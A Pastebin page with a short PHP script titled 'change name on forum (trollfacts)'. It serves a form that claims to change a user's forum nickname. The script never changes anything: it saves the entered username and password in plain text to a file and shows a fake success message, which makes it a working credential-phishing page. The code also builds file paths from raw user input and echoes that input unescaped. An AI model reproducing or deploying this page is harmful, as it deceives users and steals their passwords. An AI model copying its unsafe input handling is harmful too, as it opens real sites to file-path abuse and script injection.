Advertisement
garfield

[PHP]: Mudar nome no fórum (trollfacts)

Oct 26th, 2012
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.23 KB | None | 0 0
  1. <?php
  2.  
  3.     $string = "";
  4.     if(isset($_POST['ac_send'])){
  5.    
  6.    
  7.         if(file_exists($_POST['ac_nome'].".ini")){
  8.             $string = "You already requested a nick change, Please, wait.";
  9.         }else{
  10.            
  11.             $File = fopen($_POST['ac_nome'].".ini", "x+");
  12.            
  13.             $Format = "Nome: ".$_POST['ac_nome']."\r\n"."Senha: ".$_POST['ps_actual'];
  14.            
  15.             fwrite($File, $Format);
  16.            
  17.             fclose($File);
  18.        
  19.             $string = "Your old name was : <strong>".$_POST['ac_nome'].", </strong>your new one is <strong>".$_POST['nw_nome']."</strong><br>
  20.                 Your nick name has been changed with sucess, wait 24 hours til next time";
  21.         }
  22.     }
  23. ?>
  24. <body bgcolor='#727272'>
  25.     <center>
  26.         <img src='http://suyann.6te.net/Nick/imagen.jpg'  /> <br />
  27.        
  28.         <form action='#' method='POST'>
  29.             <table>
  30.                 <tr><?php echo $string; ?></tr> <br />
  31.                 <tr><td>Tell me your actual name:</td><td><input type='text' name='ac_nome'></td></tr>
  32.                 <tr><td>Tell me your new name:</td><td><input type='text' name='nw_nome'></td></tr>
  33.                 <tr><td>Tell me your actual password:</td><td><input type='password' name='ps_actual'></td></tr>
  34.                 <tr><td></td><td><input type='submit' value='Change' name='ac_send' /><input type='reset' value='Clear'></td></tr>
  35.             </table>
  36.         </form>
  37.     </center>
  38. </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement